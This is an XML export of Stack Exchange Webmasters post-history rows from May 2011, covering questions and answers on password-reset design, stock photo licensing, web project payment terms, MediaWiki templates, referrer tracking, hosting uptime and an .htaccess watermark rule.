  <row Id="31978" PostHistoryTypeId="3" PostId="13772" RevisionGUID="e5d7dfbc-b17e-402f-9468-5d9f8cc2ae8b" CreationDate="2011-05-13T23:51:38.753" UserId="302" Text="&lt;security&gt;&lt;login&gt;&lt;password&gt;" />
  <row Id="31979" PostHistoryTypeId="5" PostId="13772" RevisionGUID="3a829989-9c0f-424c-ba2a-8393339f9b86" CreationDate="2011-05-13T23:58:39.690" UserId="302" Comment="added 50 characters in body" Text="All,&#xD;&#xA;&#xD;&#xA;I'm developing a small, non-commercial web app.  I'm trying to decide how to help a user who might have lost their password.  I need a mechanism that is, in order of priority:  &#xD;&#xA;1) User friendly;  &#xD;&#xA;2) Secure;  &#xD;&#xA;3) Easily scalable across multiple geographies (i.e., location agnostic - so no SMS for example).  &#xD;&#xA;&#xD;&#xA;Please give 1 approach per answer and let's let the votes bring the best ones to the top.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;JDelage&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31980" PostHistoryTypeId="2" PostId="13773" RevisionGUID="1877fdd2-5d7f-4747-9da2-997549200e1e" CreationDate="2011-05-14T00:06:51.093" UserId="1010" Text="My standard operating procedure:&#xD;&#xA;&#xD;&#xA;First, prompt the user for their email address or login name.  If the information is not found, it's *nice* to tell the user that the address is bogus, but that can also help people brute-force this information.  In systems where the login and email address are not identical, asking for *either* of these on the same page may be more user-friendly than separating them onto different pages.&#xD;&#xA;&#xD;&#xA;Second, generate a unique token and associate it with the account.  Send an email to the user's email address containing a link that integrates this token into the URL, allowing for one-click account retrieval.&#xD;&#xA;&#xD;&#xA;Third, when the URL with the token is visited, prompt the user for their new password.  Make sure the form submit also includes the token.  Change the user's password to the new desired value, then invalidate the token.&#xD;&#xA;&#xD;&#xA;A variation I've seen also adds a *second* token into the mail, which must be typed in on the resulting password reset page.&#xD;&#xA;&#xD;&#xA;You should also invalidate the token after a reasonable period of time -- say, 48 hours.&#xD;&#xA;&#xD;&#xA;You'll note a lack of password reminders or security questions here.  If the user's email account has been compromised, this allows a potentially malicious user to hijack accounts.  This *isn't your problem to solve*.  You *could* add some sort of security question, but before you do, think about the last time you were confronted with one of these, and recall how much of a pain in the rear end they are.&#xD;&#xA;&#xD;&#xA;If your system allows the user to be logged in from multiple places (it'd better!), you might want to make sure that the token(s) you use to permit this are tied to both the user's email address and password.  This will log the user out of all other locations when either of these change." />
  <row Id="31981" PostHistoryTypeId="25" PostId="13770" RevisionGUID="5e47304a-48fb-46e8-8272-dc3e1877c077" CreationDate="2011-05-14T00:11:58.627" Comment="http://twitter.com/#!/StackWebmasters/status/69193195577282560" />
  <row Id="31985" PostHistoryTypeId="2" PostId="13775" RevisionGUID="60511ac9-ca9d-4659-b992-9afd8feb90ae" CreationDate="2011-05-14T02:47:01.213" UserId="7495" Text="A few suggestions are to: 1) clear the users DNS cache, 2) disable any proxy settings, and 3) check their hosts file for any references to 127.0.0.1.  It's possible that the user has a web server enabled on the local machine and is hitting that instead.&#xD;&#xA;&#xD;&#xA;Just some thoughts.  Hope they help." />
  <row Id="31986" PostHistoryTypeId="25" PostId="13772" RevisionGUID="c8aef6a8-9810-45ed-9054-ef308b0df3cd" CreationDate="2011-05-14T03:11:58.930" Comment="http://twitter.com/#!/StackWebmasters/status/69238497315262464" />
  <row Id="31987" PostHistoryTypeId="5" PostId="13772" RevisionGUID="a9728ddd-1413-478c-baaa-e45037ccdc8a" CreationDate="2011-05-14T03:45:47.590" UserId="4502" Comment="No need to restate the basic operating method of the site..." Text="All,&#xD;&#xA;&#xD;&#xA;I'm developing a small, non-commercial web app.  I'm trying to decide how to help a user who might have lost their password.  I need a mechanism that is, in order of priority:  &#xD;&#xA;1) User friendly;  &#xD;&#xA;2) Secure;  &#xD;&#xA;3) Easily scalable across multiple geographies (i.e., location agnostic - so no SMS for example).  &#xD;&#xA;" />
  <row Id="31988" PostHistoryTypeId="24" PostId="13772" RevisionGUID="a9728ddd-1413-478c-baaa-e45037ccdc8a" CreationDate="2011-05-14T03:45:47.590" Comment="Proposed by 4502 approved by 1253 edit id of 280" />
  <row Id="31989" PostHistoryTypeId="2" PostId="13776" RevisionGUID="09d7f736-2fcd-4275-9fd3-35ef081fb705" CreationDate="2011-05-14T03:53:03.633" UserId="1253" Text="An alternative approach:&#xD;&#xA;&#xD;&#xA; 1. Have the user provide the email address they used when they registered&#xD;&#xA;&#xD;&#xA; 2. Verify that email address does indeed belong to an account (report an error if it does not)&#xD;&#xA;&#xD;&#xA; 3. Send an email to that email address with... &#xD;&#xA;&#xD;&#xA;   - ...a new password that is auto-generated (dictionary words are better then random characters) and expires after a set period of time (let's say 24 hours)&#xD;&#xA;&#xD;&#xA;   - ...a message that this new password was sent as a request from your website and if they didn't request it to ignore that email&#xD;&#xA;&#xD;&#xA;   - ...the URL they need to visit to re-login with their new password (make sure this page validates against the temporary password and not their actual password)&#xD;&#xA;&#xD;&#xA; 7. After they login take them to a page where they are required to update their password to one they will remember (you can't show them their actual password because you hashed it, right?)" />
  <row Id="31991" PostHistoryTypeId="25" PostId="13768" RevisionGUID="516b6c86-578b-43b8-af53-65b39dd6426b" CreationDate="2011-05-14T06:11:59.163" Comment="http://twitter.com/#!/StackWebmasters/status/69283796368891904" />
  <row Id="31992" PostHistoryTypeId="25" PostId="13717" RevisionGUID="31e3d1e2-b438-4c3a-a7dc-b610fbc74f77" CreationDate="2011-05-14T09:11:58.990" Comment="http://twitter.com/#!/StackWebmasters/status/69329093728026624" />
  <row Id="31993" PostHistoryTypeId="2" PostId="13777" RevisionGUID="33c6c46b-118e-4855-a457-7b122eedb27d" CreationDate="2011-05-14T10:03:16.587" UserId="7497" Text="I'm developing website templates and wonder how to get (free or buy) photos of product sample for my templates. For example, collection if furniture, shirts, lingerie? Maybe you have preferences with affordable price. Please note that these images is going to be use in  web templates for sale." />
  <row Id="31994" PostHistoryTypeId="1" PostId="13777" RevisionGUID="33c6c46b-118e-4855-a457-7b122eedb27d" CreationDate="2011-05-14T10:03:16.587" UserId="7497" Text="Where can i get photo collection for website/template" />
  <row Id="31995" PostHistoryTypeId="3" PostId="13777" RevisionGUID="33c6c46b-118e-4855-a457-7b122eedb27d" CreationDate="2011-05-14T10:03:16.587" UserId="7497" Text="&lt;photo&gt;" />
  <row Id="31996" PostHistoryTypeId="5" PostId="13776" RevisionGUID="5890b959-d94d-4150-baef-7b8b589eb0e7" CreationDate="2011-05-14T10:11:47.263" UserId="6597" Comment="ThAn, some other edits for the character limit" Text="An alternative approach:&#xD;&#xA;&#xD;&#xA; 1. Have the user provide the email address they used when they registered&#xD;&#xA;&#xD;&#xA; 2. Verify that email address does indeed belong to an account (report an error if it does not)&#xD;&#xA;&#xD;&#xA; 3. Send an email to that email address with... &#xD;&#xA;&#xD;&#xA;   - ...a new password that is auto-generated (dictionary words are better than random characters) and expires after a set period of time (let's say 24 hours)&#xD;&#xA;&#xD;&#xA;   - ...a message that this new password was sent as a request from your website and if they didn't request it to ignore that email&#xD;&#xA;&#xD;&#xA;   - ...the URL they need to visit to re-login with their new password (make sure this page validates against the temporary password and not their actual password)&#xD;&#xA;&#xD;&#xA; 4. After their initial login, take them to a page where they are required to update their password to one they will remember (you can't show them their actual password because you hashed it, right?)" />
  <row Id="31997" PostHistoryTypeId="24" PostId="13776" RevisionGUID="5890b959-d94d-4150-baef-7b8b589eb0e7" CreationDate="2011-05-14T10:11:47.263" Comment="Proposed by 6597 approved by 1064 edit id of 281" />
  <row Id="31998" PostHistoryTypeId="2" PostId="13778" RevisionGUID="dcfb25f8-6cf1-4a80-9e93-b14e1dcbdfc6" CreationDate="2011-05-14T10:46:42.757" UserId="7497" Text="or simply add &quot;BUY NOW&quot; paypal button :)" />
  <row Id="31999" PostHistoryTypeId="2" PostId="13779" RevisionGUID="c91c572c-fe8e-4735-b7bc-5258fe4693c4" CreationDate="2011-05-14T12:00:56.210" UserId="6630" Text="Here is a free opensource option : [OpenCart][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opencart.com/" />
  <row Id="32000" PostHistoryTypeId="2" PostId="13780" RevisionGUID="410f8408-4a3e-4914-8dbe-5fbee45abdc2" CreationDate="2011-05-14T12:11:23.493" UserId="662" Text="what is a normal payment model for building a website&#xD;&#xA;&#xD;&#xA;* 1/2 payment upfront and 1/2 at the end ?&#xD;&#xA;* all at the end ??&#xD;&#xA;&#xD;&#xA;is there any suggestions on what is standard practice ?" />
  <row Id="32001" PostHistoryTypeId="1" PostId="13780" RevisionGUID="410f8408-4a3e-4914-8dbe-5fbee45abdc2" CreationDate="2011-05-14T12:11:23.493" UserId="662" Text="what is a normal payment method for building a website" />
  <row Id="32002" PostHistoryTypeId="3" PostId="13780" RevisionGUID="410f8408-4a3e-4914-8dbe-5fbee45abdc2" CreationDate="2011-05-14T12:11:23.493" UserId="662" Text="&lt;websites&gt;&lt;payments&gt;&lt;contract&gt;" />
  <row Id="32003" PostHistoryTypeId="25" PostId="13780" RevisionGUID="7a32578b-e366-4f7c-b998-1d5630cf6092" CreationDate="2011-05-14T12:11:59.013" Comment="http://twitter.com/#!/StackWebmasters/status/69374393138167808" />
  <row Id="32004" PostHistoryTypeId="2" PostId="13781" RevisionGUID="400ffdf8-42f0-42a0-bfc7-57e0bf0ea664" CreationDate="2011-05-14T13:44:18.960" UserId="4786" Text="There are many sites like this on the web, one I've heard good things about is http://www.istockphoto.com/ -- they have reasonable prices and good selection." />
  <row Id="32005" PostHistoryTypeId="2" PostId="13782" RevisionGUID="c9414615-ff32-489a-8bcd-e98e0409989a" CreationDate="2011-05-14T13:48:23.700" UserId="5105" Text="Read the license for the stock photography carefully.  In order to resell the images you usually need an extended license, which can be very expensive.  In many cases, it will be a one-use, non-resell license.&#xD;&#xA;&#xD;&#xA;If the images in your template are just examples and the license **your** customers agree to does **not** allow them to use the images, you may not need an extended license, but you should make that clear to your buyers." />
  <row Id="32006" PostHistoryTypeId="5" PostId="13768" RevisionGUID="979e4e93-0170-4c55-92c1-a1625c989627" CreationDate="2011-05-14T13:54:16.050" UserId="4786" Comment="removed greeting and signature per FAQ" Text="I hope I'm not asking a question for which the answer is obvious...If I am, apologies.&#xD;&#xA;&#xD;&#xA;Within my html site (i.e. not Wordpress, Joomla, etc.) I want to be able to have a level of user management.  That means that some pages I want to be only accessible to certain people with the correct username and password.&#xD;&#xA;&#xD;&#xA;What's the best way to do this?" />
  <row Id="32007" PostHistoryTypeId="24" PostId="13768" RevisionGUID="979e4e93-0170-4c55-92c1-a1625c989627" CreationDate="2011-05-14T13:54:16.050" Comment="Proposed by 4786 approved by 1253 edit id of 282" />
  <row Id="32008" PostHistoryTypeId="2" PostId="13783" RevisionGUID="9f4fd854-5657-4285-9f0d-2970c543caca" CreationDate="2011-05-14T13:59:10.410" UserId="1253" Text="There is no &quot;standard&quot; as a business can do business any way they want to. But some things to consider are:&#xD;&#xA;&#xD;&#xA; - **Use escrow**. This ensures both parties are happy with the final result.&#xD;&#xA;&#xD;&#xA; - **Have a contract**. Make sure everything is spelled out explicitly including the work to be done. This way there is no squabbling over functionality or when the job is officially completed.&#xD;&#xA;&#xD;&#xA; - **Use milestones**. If the project is large (I'll leave it up to you to decide what &quot;large&quot; is) receive payment upon each completed milestone. That way you aren't waiting a long time to get paid and reduce your exposure to fraud.&#xD;&#xA;&#xD;&#xA; - **Receive an initial payment**. You should expect some sort of payment to get started. This shows the client is serious about having the work completed. For small jobs this usually is half of the agreed upon amount." />
  <row Id="32026" PostHistoryTypeId="17" PostId="13789" RevisionGUID="035f6c84-5bf6-49ca-bb1c-3fec758c4043" CreationDate="2011-05-14T14:35:54.420" UserId="-1" Comment="from http://stackoverflow.com/questions/5950880/mediawiki-1-16-leaving-timestamp-in-template/5954837#5954837" Text="" />
  <row Id="32027" PostHistoryTypeId="17" PostId="13790" RevisionGUID="cfafc6b2-51e9-4888-95d9-96d6804d4df8" CreationDate="2011-05-14T14:35:54.420" UserId="-1" Comment="from http://stackoverflow.com/questions/5950880/mediawiki-1-16-leaving-timestamp-in-template/5957050#5957050" Text="" />
  <row Id="32028" PostHistoryTypeId="2" PostId="13789" RevisionGUID="c9f24b3a-8a16-445a-afc1-42f61be7d6b6" CreationDate="2011-05-10T18:45:40.827" UserDisplayName="Adrian Archer" Text="Not without rewriting some of the code I don't think. ~~~~ will always be changed by the parser into the signature, and not be saved in the wikitext as ~~~~" />
  <row Id="32029" PostHistoryTypeId="2" PostId="13790" RevisionGUID="a86e1f79-2d50-43b6-9631-84d75e46ed51" CreationDate="2011-05-10T22:03:11.160" UserId="697" Text="It is possible when substing the template. For example `~~&lt;includeonly&gt;~~&lt;/includeonly&gt;` will display as ~~~~ when the template is transcluded normally, and as a timestamp when substed." />
  <row Id="32030" PostHistoryTypeId="2" PostId="13788" RevisionGUID="8e8240ae-3941-4b63-8752-9baab84ee830" CreationDate="2011-05-10T13:33:13.817" UserDisplayName="Keikoku" Text="~~~~ is used to leave your timestamp with your name and date. I want to put this in a template so that whoever uses the template will have have the timestamp printed out as well.&#xD;&#xA;&#xD;&#xA;Is this possible?" />
  <row Id="32031" PostHistoryTypeId="1" PostId="13788" RevisionGUID="8e8240ae-3941-4b63-8752-9baab84ee830" CreationDate="2011-05-10T13:33:13.817" UserDisplayName="Keikoku" Text="Mediawiki 1.16: Leaving timestamp in template" />
  <row Id="32032" PostHistoryTypeId="3" PostId="13788" RevisionGUID="8e8240ae-3941-4b63-8752-9baab84ee830" CreationDate="2011-05-10T13:33:13.817" UserDisplayName="Keikoku" Text="&lt;mediawiki&gt;" />
  <row Id="32033" PostHistoryTypeId="17" PostId="13788" RevisionGUID="eb8eaf38-8e0a-4ce7-ae8c-90c429006011" CreationDate="2011-05-14T14:35:54.420" UserId="-1" Comment="from http://stackoverflow.com/questions/5950880/mediawiki-1-16-leaving-timestamp-in-template" Text="" />
  <row Id="32034" PostHistoryTypeId="2" PostId="13791" RevisionGUID="50934c8d-85c6-4efb-b26a-27d993c1e9cd" CreationDate="2011-05-14T14:38:53.260" UserId="7500" Text="Any suggestions for both an Open Source Picture Gallery and also for a relatively simple Message Forum (only low number of users), PHP/Python/Ruby/MySQL or anything else which is available.&#xD;&#xA;&#xD;&#xA;What I am primarily looking for are applications which can easily be incorporated into our existing website (same header, menu, floatin footer, quick linkd panel etc.) rather than as a full separate webpage.&#xD;&#xA;&#xD;&#xA;Thanks," />
  <row Id="32035" PostHistoryTypeId="1" PostId="13791" RevisionGUID="50934c8d-85c6-4efb-b26a-27d993c1e9cd" CreationDate="2011-05-14T14:38:53.260" UserId="7500" Text="Picture Gallery &amp; Message Forum" />
  <row Id="32036" PostHistoryTypeId="3" PostId="13791" RevisionGUID="50934c8d-85c6-4efb-b26a-27d993c1e9cd" CreationDate="2011-05-14T14:38:53.260" UserId="7500" Text="&lt;php&gt;&lt;web-development&gt;&lt;cms&gt;&lt;open-source&gt;" />
  <row Id="32037" PostHistoryTypeId="6" PostId="13791" RevisionGUID="270b19dd-3f5e-472a-ac99-22d2822a8ab4" CreationDate="2011-05-14T14:40:45.430" UserId="1253" Comment="edited tags" Text="&lt;php&gt;&lt;cms&gt;&lt;looking-for-a-script&gt;&lt;open-source&gt;" />
  <row Id="32038" PostHistoryTypeId="2" PostId="13792" RevisionGUID="988bd701-b87f-4401-a010-01fc639f4fd2" CreationDate="2011-05-14T14:44:26.927" UserDisplayName="Bruno Ligutti" Text="I currently host a .NET web app on GoDaddy Windows Deluxe shared hosting. I monitor it with Pingdom and I am not satisfied much with the statistics:&#xD;&#xA;&#xD;&#xA;Period: 1 month&#xD;&#xA;Uptime: 99.73%&#xD;&#xA;Downtime: 2h 25m 2s&#xD;&#xA;Outages: 20&#xD;&#xA;&#xD;&#xA;I am evaluating upgrading to GoDaddy Virtual Dedicated Servers (Window), and I am wondering if anyone has uptime statistics for it. Thank you for the help." />
  <row Id="32039" PostHistoryTypeId="1" PostId="13792" RevisionGUID="988bd701-b87f-4401-a010-01fc639f4fd2" CreationDate="2011-05-14T14:44:26.927" UserDisplayName="Bruno Ligutti" Text="GoDaddy Virtual Dedicated Server Uptime?" />
  <row Id="32040" PostHistoryTypeId="3" PostId="13792" RevisionGUID="988bd701-b87f-4401-a010-01fc639f4fd2" CreationDate="2011-05-14T14:44:26.927" UserDisplayName="Bruno Ligutti" Text="&lt;web-hosting&gt;" />
  <row Id="32041" PostHistoryTypeId="17" PostId="13792" RevisionGUID="0eb114e8-2d35-4a3a-9f1f-9dc7135ae825" CreationDate="2011-05-14T14:49:28.350" UserId="-1" Comment="from http://serverfault.com/questions/269751/godaddy-virtual-dedicated-server-uptime" Text="" />
  <row Id="32042" PostHistoryTypeId="25" PostId="13792" RevisionGUID="da645f9f-e9cd-40cf-85e2-ad95e024cdbb" CreationDate="2011-05-14T15:11:59.217" Comment="http://twitter.com/#!/StackWebmasters/status/69419691399069698" />
  <row Id="32043" PostHistoryTypeId="2" PostId="13793" RevisionGUID="4b0239b8-b093-47dd-a180-09be8fd9822b" CreationDate="2011-05-14T15:28:51.907" UserId="6855" Text="So I'm wondering if anyone has any recommendations of a very basic/simple software script to manage users on my website.  The site is pure html pages but I want to limit access to certain pages to certain people depending on their username &amp; password.&#xD;&#xA;&#xD;&#xA;What software have you had good experiences with?  Simple &amp; basic is the name of the game ideally.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="32044" PostHistoryTypeId="1" PostId="13793" RevisionGUID="4b0239b8-b093-47dd-a180-09be8fd9822b" CreationDate="2011-05-14T15:28:51.907" UserId="6855" Text="Recommended user management script/software?" />
  <row Id="32045" PostHistoryTypeId="3" PostId="13793" RevisionGUID="4b0239b8-b093-47dd-a180-09be8fd9822b" CreationDate="2011-05-14T15:28:51.907" UserId="6855" Text="&lt;management&gt;" />
  <row Id="32046" PostHistoryTypeId="5" PostId="13793" RevisionGUID="dddf0d4b-b5a8-4fec-8965-4577aeb9c38c" CreationDate="2011-05-14T15:44:27.940" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Easy user management on html site?](http://webmasters.stackexchange.com/questions/13768/easy-user-management-on-html-site)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi all,&#xD;&#xA;&#xD;&#xA;So I'm wondering if anyone has any recommendations of a very basic/simple software script to manage users on my website.  The site is pure html pages but I want to limit access to certain pages to certain people depending on their username &amp; password.&#xD;&#xA;&#xD;&#xA;What software have you had good experiences with?  Simple &amp; basic is the name of the game ideally.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="32047" PostHistoryTypeId="10" PostId="13793" RevisionGUID="24ca0157-6348-428b-9fb7-ae8f9e7bc3cf" CreationDate="2011-05-14T15:44:27.207" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="32048" PostHistoryTypeId="5" PostId="13768" RevisionGUID="e13925f6-74d6-41d7-b2e5-81398e481ca6" CreationDate="2011-05-14T15:45:19.950" UserId="1253" Comment="added 192 characters in body; edited tags" Text="I hope I'm not asking a question for which the answer is obvious...If I am, apologies.&#xD;&#xA;&#xD;&#xA;Within my html site (i.e. not Wordpress, Joomla, etc.) I want to be able to have a level of user management.  That means that some pages I want to be only accessible to certain people with the correct username and password.&#xD;&#xA;&#xD;&#xA;What's the best way to do this? &#xD;&#xA;&#xD;&#xA;Are there any available scripts out there? I guess I'm looking for a free/open source version of something like this: http://www.webassist.com/php-scripts-and-solutions/user-registration/" />
  <row Id="32049" PostHistoryTypeId="6" PostId="13768" RevisionGUID="e13925f6-74d6-41d7-b2e5-81398e481ca6" CreationDate="2011-05-14T15:45:19.950" UserId="1253" Comment="added 192 characters in body; edited tags" Text="&lt;html&gt;&lt;looking-for-a-script&gt;&lt;users&gt;&lt;management&gt;" />
  <row Id="32050" PostHistoryTypeId="17" PostId="13795" RevisionGUID="308593e7-8d78-4aa6-8867-7f21204c9bfd" CreationDate="2011-05-14T16:01:07.263" UserId="-1" Comment="from http://superuser.com/questions/283449/how-to-track-where-web-page-visitors-are-coming-from/283456#283456" Text="" />
  <row Id="32051" PostHistoryTypeId="17" PostId="13796" RevisionGUID="899a3bc6-9d91-4632-8ee8-50c4a10cf678" CreationDate="2011-05-14T16:01:07.263" UserId="-1" Comment="from http://superuser.com/questions/283449/how-to-track-where-web-page-visitors-are-coming-from/283467#283467" Text="" />
  <row Id="32052" PostHistoryTypeId="2" PostId="13795" RevisionGUID="a75cbb0c-9ec6-42c6-8b66-d870d2f665e7" CreationDate="2011-05-14T14:59:19.663" UserDisplayName="Mike Chess" Text="[Google Analytics][1] is one way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics/" />
  <row Id="32053" PostHistoryTypeId="2" PostId="13796" RevisionGUID="55244bef-e3fc-4def-9fbd-25bda0131b7f" CreationDate="2011-05-14T15:57:43.173" UserDisplayName="Alex" Text="You have to analyse the HTTP referrer. [Piwik][1] is one tool that can do this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.piwik.org" />
  <row Id="32054" PostHistoryTypeId="2" PostId="13794" RevisionGUID="55ee65a3-3f94-46e7-a6fa-d5158243a163" CreationDate="2011-05-14T14:48:35.577" UserDisplayName="Frank" Text="My main web page is &quot;nmjava.com/index.html&quot;, I have posted &quot;nmjava.com&quot; in different places on the web, when visitors click on the link how do I know where they are from ?&#xD;&#xA;&#xD;&#xA;I've come up with the following method, but I wonder if there are any other ways to do it ?&#xD;&#xA;&#xD;&#xA;    &lt;1&gt; Create a few pages : Page_1.html , Page_2.html , ... Page_N.html&#xD;&#xA;    &lt;2&gt; Use 301 redirect to point them all to index.html&#xD;&#xA;    &lt;3&gt; Post the link to Page_1.html on site_1, post Page_2.html on site_2 ...&#xD;&#xA;    &lt;4&gt; When visitors on site_1 click on the link to Page_1.html, my web page access log&#xD;&#xA;        will record nmjava.com/Page_1.html is clicked, and by that I can tell the&#xD;&#xA;        visitor is from site_1, and if I see a log of nmjava.com/Page_N.html is clicked,&#xD;&#xA;        I'll know that visitor is brought by site_N.&#xD;&#xA;&#xD;&#xA;Is there any other way to achieve this ?" />
  <row Id="32055" PostHistoryTypeId="1" PostId="13794" RevisionGUID="55ee65a3-3f94-46e7-a6fa-d5158243a163" CreationDate="2011-05-14T14:48:35.577" UserDisplayName="Frank" Text="How to track where web page visitors are coming from ?" />
  <row Id="32056" PostHistoryTypeId="3" PostId="13794" RevisionGUID="55ee65a3-3f94-46e7-a6fa-d5158243a163" CreationDate="2011-05-14T14:48:35.577" UserDisplayName="Frank" Text="&lt;untagged&gt;" />
  <row Id="32057" PostHistoryTypeId="17" PostId="13794" RevisionGUID="271c84df-c289-4d0e-aeb5-3f42e5e8a615" CreationDate="2011-05-14T16:01:07.263" UserId="-1" Comment="from http://superuser.com/questions/283449/how-to-track-where-web-page-visitors-are-coming-from" Text="" />
  <row Id="32058" PostHistoryTypeId="2" PostId="13797" RevisionGUID="3309034b-cf9a-45a3-86af-df035c4d03a8" CreationDate="2011-05-14T16:07:30.407" UserId="7472" Text="Obvious disadvantage of blacklisting is blocking valid users sharing NAT with machines you want to blacklist (think: big corporations with VPN and only few external IPs or universities with similar setups, maybe even some ISPs).&#xD;&#xA;&#xD;&#xA;In particular case of worms, such as the one trying to propagate through bugs in phpMyAdmin, that would mean you blacklist infected machines. They would remain blacklisted even after they have been cleaned up using anti-virus software. That's also not something what you want.&#xD;&#xA;&#xD;&#xA; " />
  <row Id="32059" PostHistoryTypeId="2" PostId="13798" RevisionGUID="35ff952d-85b1-432f-bc09-7c4370efea7b" CreationDate="2011-05-14T16:51:24.867" UserId="7502" Text="http://www.freedns.com/&#xD;&#xA;&#xD;&#xA;lists I think all of (the free ones) anyway" />
  <row Id="32060" PostHistoryTypeId="25" PostId="13794" RevisionGUID="1d2bbdd3-c545-4732-9f94-f4bb7a9aabd8" CreationDate="2011-05-14T18:11:58.887" Comment="http://twitter.com/#!/StackWebmasters/status/69464988552663041" />
  <row Id="32061" PostHistoryTypeId="5" PostId="13794" RevisionGUID="abe3a7b5-8f6a-4a19-a881-e39288d65382" CreationDate="2011-05-14T18:47:36.697" UserId="3192" Comment="retagged; " Text="My main web page is `nmjava.com/index.html`, I have posted &quot;nmjava.com&quot; in different places on the web, when visitors click on the link how do I know where they are from ?&#xD;&#xA;&#xD;&#xA;I've come up with the following method, but I wonder if there are any other ways to do it ?&#xD;&#xA;&#xD;&#xA;    &lt;1&gt; Create a few pages : Page_1.html , Page_2.html , ... Page_N.html&#xD;&#xA;    &lt;2&gt; Use 301 redirect to point them all to index.html&#xD;&#xA;    &lt;3&gt; Post the link to Page_1.html on site_1, post Page_2.html on site_2 ...&#xD;&#xA;    &lt;4&gt; When visitors on site_1 click on the link to Page_1.html, my web page access log&#xD;&#xA;        will record nmjava.com/Page_1.html is clicked, and by that I can tell the&#xD;&#xA;        visitor is from site_1, and if I see a log of nmjava.com/Page_N.html is clicked,&#xD;&#xA;        I'll know that visitor is brought by site_N.&#xD;&#xA;&#xD;&#xA;Is there any other way to achieve this ?&#xD;&#xA;&#xD;&#xA;&lt;!-- retagged --&gt;" />
  <row Id="32062" PostHistoryTypeId="6" PostId="13794" RevisionGUID="abe3a7b5-8f6a-4a19-a881-e39288d65382" CreationDate="2011-05-14T18:47:36.697" UserId="3192" Comment="retagged; " Text="&lt;analytics&gt;&lt;statistics&gt;&lt;website-analytics-tools&gt;" />
  <row Id="32063" PostHistoryTypeId="24" PostId="13794" RevisionGUID="abe3a7b5-8f6a-4a19-a881-e39288d65382" CreationDate="2011-05-14T18:47:36.697" Comment="Proposed by 3192 approved by 1253 edit id of 283" />
  <row Id="32064" PostHistoryTypeId="17" PostId="13800" RevisionGUID="b2f1561b-bb75-4ba5-9db9-535b2f63742e" CreationDate="2011-05-14T20:20:23.283" UserId="-1" Comment="from http://meta.stackoverflow.com/questions/91274/how-can-i-port-all-my-images-to-imgur-to-prevent-bad-images-across-the-network/91277#91277" Text="" />
  <row Id="32065" PostHistoryTypeId="2" PostId="13800" RevisionGUID="c92630de-88f3-4f59-beb1-e19cce6f80d5" CreationDate="2011-05-14T20:08:01.127" UserId="6057" Text="Don't know much about doing this, but I made you a Query to look for images in you posts through Data Explorer. Let me know if something's wrong with it!&#xD;&#xA;&#xD;&#xA;http://data.stackexchange.com/superuser/s/1376/find-posts-by-you-that-contain-images" />
  <row Id="32066" PostHistoryTypeId="2" PostId="13799" RevisionGUID="443420c9-2bf3-4846-96ff-18028208b987" CreationDate="2011-05-14T19:50:54.820" UserId="5443" Text="I thought my image host was always up and did have enough bandwidth to support my images, most of my images are screenshots I took with a tool. Now apparently I've got a mail that I'm reaching the bandwidth limit for free users, which means that if I continue to use the tool like this I will simply get out of bandwidth and a lot of my answers will then just show broken images.&#xD;&#xA;&#xD;&#xA;Other than that, I eventually have infrequently used a link that points to an external source.&#xD;&#xA;&#xD;&#xA;It would be handy if I could port my images to imgur in order to prevent this problem.&#xD;&#xA;&#xD;&#xA;How do I go about and do this in an automatized manner? Perhaps this can be interesting as a solution?&#xD;&#xA;&#xD;&#xA;If there is no automation possible or if it is prohibited, how do I form a Data Exchange query to find images?" />
  <row Id="32067" PostHistoryTypeId="1" PostId="13799" RevisionGUID="443420c9-2bf3-4846-96ff-18028208b987" CreationDate="2011-05-14T19:50:54.820" UserId="5443" Text="How can I port all my images to imgur to prevent bad images across the network?" />
  <row Id="32068" PostHistoryTypeId="3" PostId="13799" RevisionGUID="443420c9-2bf3-4846-96ff-18028208b987" CreationDate="2011-05-14T19:50:54.820" UserId="5443" Text="&lt;images&gt;" />
  <row Id="32069" PostHistoryTypeId="17" PostId="13799" RevisionGUID="92262460-56e3-423b-b6d3-2b5b9feb4e31" CreationDate="2011-05-14T20:20:23.283" UserId="-1" Comment="from http://meta.stackoverflow.com/questions/91274/how-can-i-port-all-my-images-to-imgur-to-prevent-bad-images-across-the-network" Text="" />
  <row Id="32070" PostHistoryTypeId="2" PostId="13801" RevisionGUID="e0278a4c-f01c-44be-981d-9f546802212c" CreationDate="2011-05-14T20:20:56.603" UserId="7504" Text="this is my .htaccess&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    RewriteRule ^(.*)wp-content/uploads/(.*) $1watermark.php?src=wp-content/uploads/$2&#xD;&#xA;    &#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteRule ^index\.php$ - [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule . /index.php [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    # END WordPress&#xD;&#xA;&#xD;&#xA;-----------------------&#xD;&#xA;&#xD;&#xA;this line is my issue&#xD;&#xA;&#xD;&#xA;    RewriteRule ^(.*)wp-content/uploads/(.*) $1watermark.php?src=wp-content/uploads/$2&#xD;&#xA;&#xD;&#xA;----------------&#xD;&#xA;&#xD;&#xA;all my images are in subfolders within wp-content/uploads. an example of http://darrenkynochphotography.co.uk/wp-content/uploads/2008/09/darrenprofile.jpg does what it should and redirects the image through a watermark script.&#xD;&#xA;&#xD;&#xA;But this example http://darrenkynochphotography.co.uk/wp-content/uploads/2011/05/23-2-950x635.jpg doesnt work at all, along with any other images. I cant see where i am going wrong here at all as it should work&#xD;&#xA;" />
